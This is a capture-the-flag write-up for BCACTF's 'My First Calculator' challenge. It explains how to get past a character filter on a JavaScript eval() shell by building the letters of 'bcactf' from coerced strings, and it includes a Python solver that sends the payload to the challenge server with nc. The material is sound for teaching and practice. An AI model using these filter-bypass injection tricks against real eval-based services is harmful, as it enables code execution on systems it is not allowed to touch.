BCACTF 3.0 2022

My First Calculator (175 points; 50 solves)

When we connect to this netcat instance (it’s the only bit of information we have), we get the following:

So, it’s pretty obvious what we need to do. Underneath the challenge description are three hints:

  1. My calculator function uses eval().
  2. You can use “[]+” to essentially cast something to a string.
  3. To solve, you will need letters from “[object Object]” and “false”.

The catch here is that, in this javascript shell (which executes whatever we supply as javascript code; provided our input is <= 45 chars), we cannot enter letters, backticks, backslashes, and quotation marks.

However, given hints 2 and 3, it gives us an idea. If we can somehow get the words “[object Object]” and “false” as strings, we can access these strings via special indexes, then concatenate these together until we spell out the word “bcactf”.

from subprocess import check_output
import os

#we cannot supply any quotation marks, backlashes, letters, or backticks. we can supply anything else
#as specified in hint 2, if we perform (something)+[], we will get a string. we also need the keywords "false" and "[object Object]"
#we can get "false" easily, such as by performing (!1). then, ((!1)+[]) will be turned from KEYWORD `false` to STRING "false"

#the [object Object] part is alot more tricky, but I eventually nailed it down
#since objects are just key-value pairs, we can create one making a key-value pair (empty of course), since we have the input limit
#then we stringify this via the +[] method

#define those here
false = "!1+[]"
obj = "{}+[]"

#now, to lower character count, we are going to use variables
#assign the object to a variable "_"
payload = f"_={obj};"
obj = "_"

#do the same for "false"
payload += f"$={false};"
false = "$"

#simple function to make obtaining the letters easier
find_in_obj = lambda c: f"{obj}[{'[object Object]'.index(c)}]"
find_in_false = lambda c: f"{false}[{'false'.index(c)}]"

#now, we spell out bcactf by getting the indexes of those (now strings)
payload += "+".join([
    find_in_obj("b"),
    find_in_obj("c"),
    find_in_false("a"),
    find_in_obj("c"),
    find_in_obj("t"),
    find_in_false("f")
])

#perform a sanity check
output = check_output(["bash", "-c", f"node <<< 'console.log(eval(\"{payload}\"))'"])
if b"bcactf" not in output:
    print(f"PAYLOAD INVALID! {output} was returned; NOT 'bcactf'!")
    exit()

#print out the payload
print(payload)
if len(payload) > 45:
    print(f"Error; payload length is {len(payload)}!")
    exit()

#now we can submit this to the server
os.system(f"echo '{payload}' | nc misc.bcactf.com 49156")

Leave a Reply